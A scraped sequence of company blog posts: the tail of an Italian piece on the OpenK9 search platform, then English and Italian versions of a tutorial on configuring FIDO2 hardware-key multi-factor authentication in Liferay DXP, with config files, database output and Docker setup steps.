Secondo l'opportuna logica, OpenK9 indicizza non solo il contenuto o i metadati, ma anche le informazioni per la gestione degli accessi. Queste informazioni saranno poi utilizzate per applicare il controllo degli accessi direttamente a tempo di ricerca, permettendo così una gestione molto efficiente e garantendo dei tempi di ricerca molto rapidi.

Figura 14 - Gestione delle ACL

Api Headless di ricerca

OpenK9 offre API headless per la ricerca sui contenuti e per tutte le attività di contorno, quali auto completamento e comprensione della query.

Per maggiori informazioni esplorare la documentazione sulle API.

La natura headless delle API concede la possibilità di interfacciarsi a OpenK9 in maniera semplice e con molteplici strumenti di interfaccia, come per esempio: frontend standalone, portali web, chatbot piuttosto che assistenti vocali.

Anche le API di ricerca sono pensate per essere estese e personalizzate, in modo da raffinare e perfezionare le opzioni di ricerca in base al contesto e al dominio.

È possibile aggiungere nuove funzioni di ricerca per applicare nuove logiche di ricerca, oltre a potere estendere le funzionalità di comprensione della query definendo nuove regole e strumenti di comprensione.

Conclusione

OpenK9 è un sistema di ricerca moderno e potente. Attraverso le sue caratteristiche si propone di raggiungere prestazioni di alto livello in grado di soddisfare le esigenze (anche quelle più estreme) all'interno delle organizzazioni di oggi e del futuro. L'utilizzo di tecniche di intelligenza artificiale per la gestione di tutta una serie di aspetti è in linea con la logica di un sistema sempre più preciso e potente.

OpenK9, si vuole inoltre differenziare rispetto ai suoi competitor, e lo fa soprattutto grazie alla citata capacità di essere facilmente estendibile e ampiamente personalizzabile. Proprietà fondamentali al fine di soddisfare e risolvere la grande eterogeneità di esigenze dettate dal mondo reale.

Allora cosa aspettate?! Sul sito di OpenK9 potete trovare una guida approfondita su come installare ed eseguire OpenK9 sulla vostra macchina. Trovate sia la documentazione per eseguire il tutto tramite Docker Compose, sia la documentazione per un'installazione più robusta su cluster Kubernetes; il tutto seguito da documentazione per la configurazione degli aspetti principali del prodotto.

Inoltre per provare direttamente Openk9 utilizza l'ambiente demo online e testa direttamente le funzionalità di ricerca.

How to configure Liferay for authentication via FIDO2

Mon, 23 May 2022 00:00:00 GMT

At the tenth Liferay Boot Camp 2022 is The topic of what Liferay offers in terms of security and how was discussed realize their own solutions using the framework that Liferay puts a at our disposal.

Remaining therefore on the subject of safety, in this article we will address how enable Multi-Factor Authentication (MFA) in particular by configuring the use of FIDO2 (Fast Identity Online 2) with the aim of being able to access the portal via your device (hardware token).

In the order we will see:

What is FIDO2
The two phases of WebAuthn
What are the requirements to use FIDO2
Multi-Factor Authentication configuration for FIDO2
Authenticator registration procedure
Authentication test with FIDO2

By reading this article to the end, you should then be able to easily add the additional authentication factor to the normal login process with username and password.

As usual I will leave the bonus at the end of the article, that is, the reference GitHub of the project which will allow you to recreate the scenario we're going to to describe. Plus I will leave you a short movie showing all the activities that were performed on the Liferay portal.

1. What is FIDO2: WebAuthn & CTAP

FIDO2 is an open standard (launched by FIDO Alliance and W3C) whose goal is to offer a passwordless authentication method (or password-less) for secure login as part of web authentication, using hardware verified for user identification.

With FIDO2, authentication takes place via a trusted device, which in technical terms is called authenticator. The connection between the authenticator and the browser can be established in several ways, such as for example: Bluetooth, USB or NFC. These devices can be of various types and in general:

USB sticks such as those produced by Yubico and SecureClick
Smart Card (also contactless) such as Wega 3DSA 2.0 Acoustic Card certified by the FIDO Alliance
Chip Trusted Platform Module (TPM) already integrated in most smartphones, laptops and PCs

FIDO2 combines the specification W3C Web Authentication (WebAuthn) and the Client to Authenticator (CTAP) protocols of the FIDO Alliance.

The CTAP protocol resides at the application layer and is responsible for the secure communication between the verified hardware device (or authenticator ) and the client / platform (usually the browser) e ensure transparency with respect to the connection method which can be USB, NFC (Near-Field Communication) or Bluetooth.

The WebAuthn protocol, on the other hand, makes authentication possible by defining the process by which web applications can integrate key cryptography public/private (or asymmetric) in a browser. This occurs when they communicate via CTAP protocol with the authenticator (TPM module or key USB).

This API allows Relying Parties (or Service Providers) to register and authenticate users through very secure asymmetric encryption, rather than through a password.

The FIDO2 standard is currently supported by Windows 10, Android and the web browsers Google Chrome, Mozilla Firefox, Microsoft Edge and Apple Safari.

We could therefore summarize the main characteristics of FIDO2 in:

Authentication with external or integrated hardware keys (see Apple launches web authentication using FIDO standard with Touch ID or Face ID biometrics in Safari)
Two-factor authentication
Asymmetric public/private key encryption;
Authenticator stored locally

I leave you the insights on the subject, starting from reading the How FIDO Works document published on the FIDO Alliance portal.

2. The two phases of WebAuthn

The WebAuthn protocol essentially has two phases, which are:

The credential registration flow
The credential authentication flow

In a password-based user registration flow, the user comes presented a form that requires a username and password, the latter is then sent to the server for archiving.

In WebAuthn, a server must provide data that binds a user to a credential (a private-public key pair); this data includes identifiers for the user and the organization (also known as a Relying Party). The website will then use the WebAuthn API to prompt the user to create a new key pair. It is important to note that we need a randomly generated string by the server as a challenge in order to prevent attacks.

The dialogue shown below gives an exact idea of the flow of WebAuthn credential registration described above.

Figure 1 - WebAuthn credentials registration flow (source https://webauthn.guide/)

At the end of the registration, the user can be authenticated. An assertion will be created during authentication, which is proof that the user has the private key. This assertion contains a signature (or signature) created using the key private. The server uses the public key retrieved during the registration to verify this signature.

The dialogue shown below gives an exact idea of the flow of WebAuthn credential authentication described above.

Figure 2 - WebAuthn credentials authentication flow (source https://webauthn.guide/)

To learn more about the use of the WebAuthn API of registration and authentication, I recommend reading WebAuthn: A better alternative for securing our sensitive information online.

We will then see these two phases of registration and authentication distinct from a practical point of view right on Liferay.

3. Requirements for using FIDO2 with Liferay

Before proceeding with the configuration of the Multi-Factor Authentication (MFA) through FIDO2, it is necessary that you have the availability of one Security Key or Token and the latter is FIDO2 certified (see FIDO Certified Showcase).

For the case presented in this article, I will use the Security Key (or Token) YubiKey 5 Series. I preferred to opt for this hardware device as it offers support multi-protocol enabling strong security for legacy and modern environments. This Security Key is also recommended by Liferay.

The main features of this series of Security Keys:

Multi-protocol support; FIDO2, U2F, Smart Card, OTP, OpenPGP 3
USB-A, USB-C, NFC, Lightning
IP68 rated, crush resistant, no batteries required, no moving parts

4. Multi-Factor Authentication configuration for FIDO2

The Fast IDentity Online 2 or FIDO2 standard allows the use of biometric data (i.e. fingerprint readers), mobile devices or other keys of security for passwordless authentication. Administrators just have to enable FIDO2 for their instance, then users can register and use their FIDO2 compatible devices.

Warning! Multi-Factor Authentication is only available with Liferay DXP, it is therefore not possible to activate it on the Community Edition.

Before you can configure FIDO2, you need to enable the Multi-Factor Authentication. The default state is enabled at the system level but disabled in the default instance. In effect, this means that MFA is indeed disabled on installations Liferay DXP standard.

Figure 3 - Access to the system-wide Multi-Factor Authentication configuration

Figure 4 - At the system level MFA is enabled

What we need to do now is to enable the MFA for the portal instance. This activity requires only two steps:

Go to Control Panel → Instance Settings → Security → Multi-Factor Authentication → Multi-Factor Authentication One-Time Password Configuration
Check the Enabled box and click the Save button

The two figures below show the exact steps to take. Immediately after you saved the configuration, you should see the le appear on the left shoulder other possible configurations for MFA, one of which is that of FIDO2 (see figure 7).

Figure 5 - Access to enable MFA at the instance configuration level

From the moment the MFA is active, the next login will be required specify the One-Time Password (OTP) code sent by email for this reason it is important to configure the server correctly SMTP for sending email.

Figure 6 - Enabling the MFA

Once Multi-Factor Authentication is enabled, you can enable and configure the use of FIDO2. To carry out this operation it is sufficient proceed as follows:

Go to Control Panel → Instance Settings → Security → Multi-Factor Authentication. Make sure you have enabled multi-factor authentication before configuring FIDO2 (see previous step)
Click Fast IDentity Online 2 Configuration in the left navigation bar
Click the Enabled checkbox to enable FIDO2

Figure 7 - Access to the configuration of FIDO2 or Fast IDentity Online 2

By leaving the configuration with the default values, this may be fine for start testing on your local environment.

You can act on the following settings:

Order: Set the priority for MFA control via FIDO2. The higher the number, the higher the priority. The default priority is set so that FIDO2 becomes the highest priority controller when enabled.
Relying Party Name: An arbitrary name for the website or installation.
Allowed Credentials Per User: Each user can have the set number of FIDO2 devices.
Relying Party ID: the WebAuthn Relying Party identifier. It is typically set with the portal domain name.
Origins: Authenticator responses are compared to this source URL, which should point to your installation or otherwise to the virtual host of the specific Liferay instance. You can add several values for this configuration. For security reasons it is always recommended to use https to encrypt the connection.
Allow Origin Port: Check this box to include any port number in the origin matching rule. Setting this option could be useful in a development/test environment.
Allow Origin Subdomain: Check this box to include any source subdomain in the origin matching rule.

Assuming a real case, we could think of setting the following values configuration:

Relying Party Name: SMC Tech Blog
Relying Party ID: techblog.portal.local
Origins: https: //techblog.portal.local

The figure below shows the configuration of FIDO2 with the values applied mentioned above.

Figure 8 - Complete configuration of the FIDO2 MFA module

The same configuration is possible using the OSGi configuration (those that are located in $LIFERAY_HOME/osgi/configs). Following is the content of the file com.liferay.multi.factor.authentication.fido2.web.internal.configuration.MFAFIDO2Configuration.scoped~3da064c9-3224-405d-8dc6-677104a70170.config which shows the same configuration shown in Figure 8.


allowOriginPort=B"false"
allowOriginSubdomain=B"false"
allowedCredentialsPerUser=I"1"
companyId=L"34701"
enabled=B"true"
origins=[ \
  "https://techblog.portal.local", \
  ]
relyingPartyId="techblog.portal.local"
relyingPartyName="SMC\ Tech\ Blog"
service.ranking=I"200"

Source 1 - OSGi configuration file related to the FIDO2 module

4. Authenticator registration procedure

Once FIDO2 is enabled, users will be able to add authenticators directly from the user's account settings by following the steps indicated below. This process implements the registration flow of the WebAuthn credentials described above and shown in Figure 1.

Click on your profile picture
Click Account Settings
A new tab will appear at the top, called Multi-Factor Authentication, so click on it
Make sure your FIDO2 compliant device is connected to your PC (for example via USB)
To register the authenticator, click the large blue button labeled Register a FIDO2 Authenticator

Figure 9 - Access to account settings

When you proceed with registration, your browser may show security warnings, such as those shown below that they do reference to Firefox (version 100.0.1 64bit). Other browsers may have different behaviors but with the same intent.

Figure 10 - Browser warning that the application is requesting the use of your Security Key

Figure 11 - The browser invites you to use the Security Key to connect and authorize the portal

Once the registration process has been completed successfully, you should see your Security Key or Authenticator (to stay within the terms of FIDO2) registered on your account. From now on you will be able to log in to the Liferay portal using your Security Key as another factor authentication.

Figure 12 - FIDO2 Security Key registered on the user's account

After registration is complete, the information is stored in the table mfafido2credentialentry from Liferay whose structure is shown below. The public key is available among the stored information (in credentialkey).

lportal=# \d mfafido2credentialentry;
 mvccversion               | bigint                      |           | not null | 0
 mfafido2credentialentryid | bigint                      |           | not null |
 companyid                 | bigint                      |           |          |
 userid                    | bigint                      |           |          |
 username                  | character varying(75)       |           |          |
 createdate                | timestamp without time zone |           |          |
 modifieddate              | timestamp without time zone |           |          |
 credentialkey             | text                        |           |          |
 credentialkeyhash         | bigint                      |           |          |
 credentialtype            | integer                     |           |          |
 failedattempts            | integer                     |           |          |
 publickeycose             | character varying(128)      |           |          |
 signaturecount            | bigint                      |           |          |

Console 1 - Structure of the mfafido2credentialentry table

The data contained in the table are shown below mfafido2credentialentry.

lportal=# select * from mfafido2credentialentry;
mvccversion               | 8
mfafido2credentialentryid | 44754
companyid                 | 34701
userid                    | 44725
username                  | Antonio Musarra
createdate                | 2022-05-19 16:37:18.277
modifieddate              | 2022-05-19 23:53:10.883
credentialkey             | bzLIWZQhw1fEuKlRrdNAoJxYJR/g1Z+BgRhbywlMp8hA9rqIJSyUPq9kS2xxLj3Ps1wSsr4nrNgjVirGz4oCOA==
credentialkeyhash         | 236161127
credentialtype            | 0
failedattempts            | 0
publickeycose             | pQECAyYgASFYIN4KLjv3JhB4SMwAB8e43wDEMDXJvM7Ag8Z7xxqFlDRrIlggO8V4jr/1JZcsj5kybUQfzDTG0vJvZi2yi4M6XTsfMXI=
signaturecount            | 27

Console 2 - Contents of the mfafido2credentialentry table which contains the registration data of the Security Key

In some cases it may happen that the registration process does not go to successful and the most common reasons are generally:

The browser version does not support the WebAuthn protocol. In this case I recommend updating the browser and consulting the document FIDO2: Web Authentication (WebAuthn) and in particular the chapter Support for FIDO2: WebAuthn and CTAP - Browsers and Platforms
The hardware device (or authenticator) is not supported by your operating system. Refer to the technical documentation of the Security Key
The hardware device does not comply with the FIDO2 specification. Refer to the technical documentation of the Security Key

The figure below shows the message in case of errors in the process registration. Consulting the portal log file should help understand the cause of the registration error.

Figure 13 - Error in case of unsuccessful registration

5. Authentication test with FIDO2

Now that the authenticator is registered in your profile, you can use it to access the Liferay portal.

After you have entered your own correctly username and password (via the standard login widget), the button that offers the possibility to verify the identity using the registered FIDO2 authenticator (see figure below).

In case of problems with access via FIDO2, it is still possible to request the access OTP via e-mail.

Figure 14 - Verification of identity through the previously registered FIDO2 authenticator

6. The bonus

I imagine having a Docker Compose availability with all services configure that implements the scenario described, it is a nice bonus; you are from same idea?

The how-to-configure-fido2 project published on SMC's GitHub repository, it contains the Docker Compose and all configurations that allow you to implement the scenario described in the course of this article.

The services that make up the stack are listed below.

Liferay DXP 7.4
PostgreSQL (database per Liferay)
Server SMTP (servizio per l'invio email)
Traefik (Load Balancer)

The Liferay portal service is configured to be accessible through Traefik on the https port and on the techblog.portal.local FQDN.

The steps needed to run the entire stack are:

Check the Docker version (Docker Engine 20.10.x, Docker Compose 1.29.x)
Clone the how-to-configure-fido2 repository
Update the hosts file (of the host machine) with the entries for Liferay
Starting the stack via Docker Compose

Regarding the Docker version, for this article we made use of Docker Desktop for macOS version 4.8.0 (which includes Docker Engine 20.10.14 and Docker Compose 1.29.2).

I still ran a test using Docker on Linux. Same version of Docker used on macOS but with a lower Docker Compose version, that is, 1.28.6. I didn't find any problems, the services stack was fine pulled up.

I was unable to test on Windows; I leave it to some of you to run this proof.

# Step 1 - Check Docker version
$ docker version
$ docker-compose version

# Step 2 - Clone the project git repository
$ git clone https://github.com/smclab/how-to-configure-fido2.git

# Step 3 - Update the /etc/hosts with this content
127.0.0.1   techblog.portal.local

# Step 4 - Start the Docker Compose stack services (in fg o bg)
$ docker-compose up
$ docker-compose up -d

Console 3 - Starting the service stack via Docker Compose

Below is instead available the video that shows the entire setup of the portal Liferay that we saw in the course of the article.

6. Conclusion

During the speech Liferay Authentication: How to create a Token-based SSO system, we got to see the possibilities that Liferay offers about the mechanisms of authentication and the extension modalities that allow to develop the own solutions.

Attention! You can download all the material of the Liferay Boot Camp 2022 by following the link https://bit.ly/download-materials-lrbc22zegovina

You can download all the material of the Liferay Boot Camp 2022 from https://bit.ly/download-materials-lrbc22

In the course of this article we have instead seen in detail how to configure and use the Multi-factor Authentication, authentication mechanism supported OOTB (Out Of The Box) from DXP edition. Use of the Security Tocken (hardware) is a second authentication factor, that is, after the user has entered the username and password pair correctly. Through appropriate extensions from develop, it would be possible to make access to the Liferay portal completely *password-less and this could be the subject of another article.

Come configurare Liferay per l'autenticazione tramite FIDO2

Mon, 23 May 2022 00:00:00 GMT

Al decimo Liferay Boot Camp 2022 è stato trattato il tema su ciò che Liferay offre in termini di sicurezza e come realizzare le proprie soluzioni sfruttando il framework che Liferay mette a nostra disposizione.

Restando quindi in tema di sicurezza, in questo articolo affronteremo come abilitare la Multi-Factor Authentication (MFA) configurando in particolare l'uso di FIDO2 (Fast Identity Online 2) con l'obiettivo di poter accedere al portale tramite il proprio dispositivo (token hardware).

Nell'ordine vedremo:

Cos'è FIDO2
Le due fasi di WebAuthn
Quali sono i requisiti per usare FIDO2
Configurazione Multi-Factor Authentication per FIDO2
Procedura di registrazione dell'authenticator
Test di autenticazione con FIDO2

Leggendo questo articolo fino alla fine, dovreste poi essere in grado di aggiungere senza difficoltà, l'ulteriore fattore di autenticazione al normale processo di login tramite username e password.

Come di consueto lascerò il bonus di fine articolo, ovvero, il riferimento GitHub del progetto che consentirà a voi di ricreare lo scenario che andremo a descrivere. Troverete inoltre un breve filmato che mostra tutte le attività che sono state eseguite sul portale Liferay.

1. Cos'è FIDO2: WebAuthn & CTAP

FIDO2 è uno standard aperto (lanciato da FIDO Alliance e W3C) il cui obiettivo è quello di offrire un metodo di autenticazione senza password (o password-less) per il login sicuro nell'ambito dell'autenticazione web, utilizzando hardware verificato per l'identificazione degli utenti.

Con FIDO2 l'autenticazione avviene tramite un dispositivo attendibile, che in termini tecnici è denominato autenticatore. La connessione tra l'autenticatore e il browser può essere stabilita in diversi modi, come per esempio: Bluetooth, USB o NFC. Questi dispositivi possono essere di vario tipo e in genere:

Chiavette USB come quelle prodotte da Yubico e SecureClick
Smart Card (anche contactless) come Wega 3DSA 2.0 Acoustic Card certificata dalla FIDO Alliance
Chip Trusted Platform Module (TPM) già integrati nella maggior parte degli smartphone, laptop e PC

FIDO2 combina la specifica W3C Web Authentication (WebAuthn) e i protocolli Client to Authenticator (CTAP) della FIDO Alliance.

Il protocollo CTAP risiede al livello dell'applicazione ed è responsabile della comunicazione sicura tra il dispositivo hardware verificato (o autenticatore) e il client/piattaforma (solitamente il browser) nonchè garantire la trasparenza rispetto al metodo di connessione che può essere USB, NFC (Near-Field Communication) o Bluetooth.

Il protocollo WebAuthn, invece, rende possibile l'autenticazione definendo il processo con cui le applicazioni web possono integrare la crittografia a chiave pubblica/privata (o asimmetrica) in un browser. Ciò si verifica quando comunicano tramite protocollo CTAP con l'autenticatore (modulo TPM o chiavetta USB).

Questa API permette ai Relying Parties (o Service Providers) di registrare e autenticare gli utenti attraverso un processo di crittografia asimmetrica, quest'ultima molto sicura, anziché attraverso un classico processo di autenticazione tramite username e password.

Lo standard FIDO2 è attualmente supportato da Windows 10, Android e dai web browsers Google Chrome, Mozilla Firefox, Microsoft Edge e Apple Safari.

Potremmo quindi riassumere le principali caratteristiche di FIDO2 in:

Autenticazione con chiavi hardware esterne o integrate (vedi Apple launches web authentication using FIDO standard with Touch ID or Face ID biometrics in Safari)
Autenticazione a due fattori
Crittografia a chiave pubblica/privata asimmetrica;
Autenticatore archiviato localmente

Lascio a voi gli approfondimenti sull'argomento, partendo dalla lettura del documento How FIDO Works pubblicato sul portale della FIDO Alliance.

2. Le due fasi di WebAuthn

Il protocollo WebAuthn prevede essenzialmente due fasi, che sono:

Il flusso di registrazione delle credenziali
Il flusso di autenticazione delle credenziali

In un flusso di registrazione utente basato su password, all'utente viene presentato un modulo che richiede una username e una password, quest'ultima è poi inviata al server per l'archiviazione.

In WebAuthn, un server deve fornire dati che associano un utente a una credenziale (una coppia di chiavi privata-pubblica); questi dati includono identificatori per l'utente e l'organizzazione (noto anche come Relying Party). Il sito Web utilizzerà quindi l'API di WebAuthn per richiedere all'utente di creare una nuova coppia di chiavi. È importante sapere che abbiamo bisogno di una stringa generata casualmente dal server come sfida (o challenge) al fine di prevenire attacchi.

Il dialogo mostrato a seguire rende esattamente l'idea del flusso di registrazione delle credenziali WebAuthn descritto in precedenza.

Figura 1 - Flusso di registrazione delle credenziali WebAuthn (fonte https://webauthn.guide/)

Al termine della registrazione, l'utente potrà essere autenticato. Durante l'autenticazione sarà creata un'asserzione, che è la prova che l'utente è in possesso della chiave privata. Questa asserzione contiene una firma (o signature) creata utilizzando la chiave privata. Il server utilizza la chiave pubblica recuperata durante la registrazione per verificare questa firma.

Il dialogo mostrato a seguire rende esattamente l'idea del flusso di autenticazione delle credenziali WebAuthn descritto in precedenza.

Figura 2 - Flusso di autenticazione delle credenziali WebAuthn (fonte https://webauthn.guide/)

Per approfondire l'argomento circa l'uso delle WebAuthn API di registrazione e autenticazione, consiglio di leggere WebAuthn: A better alternative for securing our sensitive information online.

Queste due fasi di registrazione e autenticazione le vedremo poi in maniera distinta dal punto di vista pratico proprio su Liferay.

3. Requisiti per usare FIDO2 con Liferay

Prima di procedere con l'attività di configurazione della Multi-Factor Authentication (MFA) tramite FIDO2, è necessario che abbiate la disponibilità di una Security Key o Token e quest'ultima sia certificata FIDO2 (vedi FIDO Certified Showcase).

Per il caso presentato in questo articolo, utilizzerò la Security Key (o Token) YubiKey 5 Series. Ho preferito optare per questo dispositivo hardware poiché offre il supporto multiprotocollo consentendo una forte sicurezza per ambienti legacy e moderni. Questa Security Key è inoltre consigliata da Liferay.

Le caratteristiche principali di questa serie di Security Key:

Multi-protocol support; FIDO2, U2F, Smart Card, OTP, OpenPGP 3
USB-A, USB-C, NFC, Lightning
IP68 rated, crush resistant, no batteries required, no moving parts

4. Configurazione Multi-Factor Authentication per FIDO2

Lo standard Fast IDentity Online 2 o FIDO2 consente l'uso di dati biometrici (cioè lettori di impronte digitali), dispositivi mobili o altre chiavi di sicurezza per l'autenticazione senza password. Gli amministratori devono solo abilitare FIDO2 per la propria istanza, quindi gli utenti possono registrarsi e utilizzare i loro dispositivi compatibili con FIDO2.

Attenzione! La Multi-Factor Authentication è disponibile solo su Liferay DXP, non è possibile quindi attivare l'MFA sulla Community Edition.

Prima di poter configurare FIDO2, è necessario abilitare la Multi-Factor Authentication. Lo stato predefinito è abilitato a livello di sistema ma disabilitato nell'istanza predefinita. In effetti, ciò significa che l'MFA è difatti disabilitato sulle installazioni Liferay DXP standard.

Figura 3 - Accesso alla configurazione della Multi-Factor Authentication a livello di sistema

Figura 4 - A livello di sistema l'MFA è abilitata

Quello che occorre fare adesso, è l'abilitazione dell'MFA per l'istanza di portale.

Quest'attività richiede solo due passaggi:

Andare su Control Panel → Instance Settings → Security → Multi-Factor Authentication → Multi-Factor Authentication One-Time Password Configuration
Selezionare la casella Enabled e fare clic sul pulsante Save

Le due figure a seguire mostrano i passaggi esatti da compiere. Subito dopo aver salvato la configurazione, dovreste veder apparire sulla spalla sinistra le altre possibili configurazioni per MFA, di cui una è quella di FIDO2 (vedi figura 7).

Figura 5 - Accesso per l'abilitazione della MFA a livello di configurazione d'istanza

Dal momento in cui è attiva l'MFA, dal prossimo accesso sarà necessario specificare il codice OTP (One-Time Password) inviato per email, per questo motivo è importante configurare correttamente il server SMTP d'invio email.

Figura 6 - Abilitazione dell'MFA

Una volta attivata la Multi-Factor Authentication, è possibile abilitare e configurare l'uso di FIDO2. Per compiere quest'operazione è sufficiente procedere nel seguente modo:

Andare su Control Panel → Instance Settings → Security → Multi-Factor Authentication. Assicurarsi di aver abilitato l'autenticazione a più fattori prima di configurare FIDO2 (vedi step precedente)
Fare clic su Fast IDentity Online 2 Configuration nella barra di navigazione a sinistra
Fare clic sulla casella di controllo Enabled per abilitare FIDO2

Figura 7 - Accesso alla configurazione di FIDO2 o Fast IDentity Online 2

Lasciando la configurazione con i valori di default, questa può andar bene per iniziare a fare i test sul proprio ambiente locale.

È possibile agire sulle seguenti impostazioni:

Order: imposta la priorità per il controllo MFA via FIDO2. Maggiore è il numero, maggiore è la priorità. La priorità predefinita è impostata in modo che FIDO2 diventi il controllore di priorità più alta se abilitato.
Relying Party Name: un nome arbitrario per il sito Web o installazione.
Allowed Credentials Per User: ogni utente può avere il numero impostato di dispositivi FIDO2.
Relying Party ID: l'identificatore di Relying Party di WebAuthn. In genere è impostato con il nome di dominio del portale.
Origins: le risposte dell'autenticatore vengono confrontate con questo URL di origine, che dovrebbe puntare alla propria installazione o comunque al virtual host della specifica istanza Liferay. È possibile aggiungere diversi valori per questa configurazione. Per motivi di sicurezza è sempre consigliato l'uso di https per crittografare la connessione.
Allow Origin Port: selezionare questa casella per includere qualsiasi numero di porta nella regola di corrispondenza dell'origine. Impostare quest'opzione potrebbe essere utile in ambiente di sviluppo/collaudo.
Allow Origin Subdomain: selezionare questa casella per includere qualsiasi sottodominio di origine nella regola di corrispondenza dell'origine.

Ipotizzando un caso reale, potremmo pensare d'impostare i seguenti valori di configurazione:

Relying Party Name: SMC Tech Blog
Relying Party ID: techblog.portal.local
Origins: https://techblog.portal.local

La figura a seguire mostra la configurazione di FIDO2 con applicati i valori indicati in precedenza.

Figura 8 - Configurazione completa del modulo MFA di FIDO2

La stessa configurazione è possibile utilizzando il file di configurazione OSGi (quelli che per intenderci sono posizionati in $LIFERAY_HOME/osgi/configs). A seguire il contenuto del file com.liferay.multi.factor.authentication.fido2.web.internal.configuration.MFAFIDO2Configuration.scoped~3da064c9-3224-405d-8dc6-677104a70170.config che riporta la medesima configurazione mostrata dalla Figura 8.


allowOriginPort=B"false"
allowOriginSubdomain=B"false"
allowedCredentialsPerUser=I"1"
companyId=L"34701"
enabled=B"true"
origins=[ \
  "https://techblog.portal.local", \
  ]
relyingPartyId="techblog.portal.local"
relyingPartyName="SMC\ Tech\ Blog"
service.ranking=I"200"

Source 1 - File di configurazione OSGi relativo al modulo FIDO2

4. Procedura di registrazione dell'authenticator

Una volta abilitato FIDO2, gli utenti potranno aggiungere gli autenticatori direttamente dalle impostazioni dell'account dell'utente seguendo i passi indicati a seguire. Questo processo implementa il flusso di registrazione delle credenziali WebAuthn descritto in precedenza e mostrato in Figura 1.

Fare clic sull'immagine del profilo
Fare clic su Account Settings
Viene visualizzata una nuova scheda in alto, denominata Multi-Factor Authentication, quindi, cliccare su di essa
Assicurarsi che il proprio dispositivo conforme a FIDO2 sia connesso al proprio PC (per esempio via USB)
Per registrare l'autenticatore, fare clic sul grande pulsante blu con l'etichetta Register a FIDO2 Authenticator

Figura 9 - Accesso alle impostazioni dell'account

Quando si procede con la registrazione, è possibile il vostro browser mostri degli avvisi di sicurezza, come per esempio quelli mostrati a seguire che fanno riferimento a Firefox (versione 100.0.1 64bit). Altri browser potrebbero avere comportamenti diversi ma con lo stesso intento.

Figura 10 - Avviso del browser che l'applicazione sta richiedendo l'uso della vostra Security Key

Figura 11 - Il browser invita a usare la Security Key per connettersi e autorizzare il portale

Una volta che la procedura di registrazione è stata ultimata con successo, dovreste vedere la vostra Security Key o Authenticator (per restare nei termini di FIDO2) registrata sul proprio account. Da questo momento in poi sarà possibile accedere al portale Liferay utilizzando la vostra Security Key come altro fattore di autenticazione.

Figura 12 - Security Key FIDO2 registrata sull'account dell'utente

Al termine della registrazione, le informazioni sono memorizzate sulla tabella mfafido2credentialentry di Liferay la cui struttura è mostrata a seguire. Tra le informazioni memorizzate è disponibile la chiave pubblica (in credentialkey).

lportal=# \d mfafido2credentialentry;
 mvccversion               | bigint                      |           | not null | 0
 mfafido2credentialentryid | bigint                      |           | not null |
 companyid                 | bigint                      |           |          |
 userid                    | bigint                      |           |          |
 username                  | character varying(75)       |           |          |
 createdate                | timestamp without time zone |           |          |
 modifieddate              | timestamp without time zone |           |          |
 credentialkey             | text                        |           |          |
 credentialkeyhash         | bigint                      |           |          |
 credentialtype            | integer                     |           |          |
 failedattempts            | integer                     |           |          |
 publickeycose             | character varying(128)      |           |          |
 signaturecount            | bigint                      |           |          |

Console 1 - Struttura della tabella mfafido2credentialentry

A seguire sono invece mostrati i dati contenuti all'interno della tabella mfafido2credentialentry.

lportal=# select * from mfafido2credentialentry;
mvccversion               | 8
mfafido2credentialentryid | 44754
companyid                 | 34701
userid                    | 44725
username                  | Antonio Musarra
createdate                | 2022-05-19 16:37:18.277
modifieddate              | 2022-05-19 23:53:10.883
credentialkey             | bzLIWZQhw1fEuKlRrdNAoJxYJR/g1Z+BgRhbywlMp8hA9rqIJSyUPq9kS2xxLj3Ps1wSsr4nrNgjVirGz4oCOA==
credentialkeyhash         | 236161127
credentialtype            | 0
failedattempts            | 0
publickeycose             | pQECAyYgASFYIN4KLjv3JhB4SMwAB8e43wDEMDXJvM7Ag8Z7xxqFlDRrIlggO8V4jr/1JZcsj5kybUQfzDTG0vJvZi2yi4M6XTsfMXI=
signaturecount            | 27

Console 2 - Contenuto della tabella mfafido2credentialentry che contiene i dati di registrazione della Security Key

In alcuni casi potrebbe capitare che il processo di registrazione non vada a buon fine e i più comuni motivi sono in genere:

La versione del browser non supporta il protocollo WebAuthn. In questo caso consiglio l'aggiornamento del browser e consultare il documento FIDO2: Web Authentication (WebAuthn) e in particolare il capitolo Support for FIDO2: WebAuthn and CTAP - Browsers and Platforms
Il dispositivo hardware (o authenticator) non è supportato dal vostro sistema operativo. Fare riferimento alla documentazione tecnica della Security Key
Il dispositivo hardware non è conforme alle specifiche FIDO2. Fare riferimento alla documentazione tecnica della Security Key

La figura a seguire mostra il messaggio visualizzato in caso di errori nel processo di registrazione. La consultazione del log file del portale dovrebbe aiutare a capire la causa dell'errore in fase di registrazione.

Figura 13 - Errore in caso di registrazione non andata a buon fine

5. Test di autenticazione con FIDO2

Ora che l'autenticatore è registrato nel proprio profilo, è possibile usarlo per accedere al portale Liferay.

Dopo aver inserito correttamente la propria username e password (tramite il widget di login standard), sarà mostrato il pulsante che offre la possibilità di verificare l'identità utilizzando l'autenticatore FIDO2 registrato (vedi figura a seguire).

In caso di problemi con l'accesso via FIDO2, è comunque possibile richiedere l'OTP di accesso via email.

Figura 14 - Verifica dell'identità tramite l'autenticatore FIDO2 registrato in precedenza

6. Il bonus

Immagino che avere la disponibilità di un Docker Compose con tutti i servizi configurati che implementi lo scenario descritto, sia un bel bonus; siete della stessa idea?

Il progetto how-to-configure-fido2 pubblicato sul repository GitHub di SMC, contiene il Docker Compose e tutte le configurazioni che consentono di implementare lo scenario descritto nel corso di questo articolo.

A seguire sono riportati i servizi che compongono lo stack.

Liferay DXP 7.4
PostgreSQL (database per Liferay)
Server SMTP (servizio per l'invio email)
Traefik (Load Balancer)

Il servizio del portale Liferay è configurato per essere accessibile attraverso Traefik su porta https e sull'FQDN techblog.portal.local.

Gli step necessari per eseguire l'intero stack sono:

Verifica della versione di Docker (Docker Engine 20.10.x, Docker Compose 1.29.x)
Clone del repository how-to-configure-fido2
Aggiornamento del file di hosts (della macchina host) con le entry per Liferay
Avvio dello stack via Docker Compose

Riguardo la versione di Docker, per questo articolo è stato fatto uso di Docker Desktop per macOS versione 4.8.0 (che include Docker Engine 20.10.14 e Docker Compose 1.29.2).

Ho comunque eseguito un test usando Docker su Linux. Stessa versione di Docker usata su macOS ma con una versione di Docker Compose inferiore, ovvero, la 1.28.6. Non ho riscontrato alcun problema, lo stack dei servizi è stato correttamente tirato su.

Non ho potuto fare test su Windows; lascio a qualcuno di voi la conduzione di questa prova.

# Step 1 - Check Docker version
$ docker version
$ docker-compose version

# Step 2 - Clone the project git repository
$ git clone https://github.com/smclab/how-to-configure-fido2.git

# Step 3 - Update the /etc/hosts with this content
